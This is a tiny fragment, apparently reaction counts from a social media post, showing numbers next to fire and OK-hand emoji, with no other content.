15🔥10👌3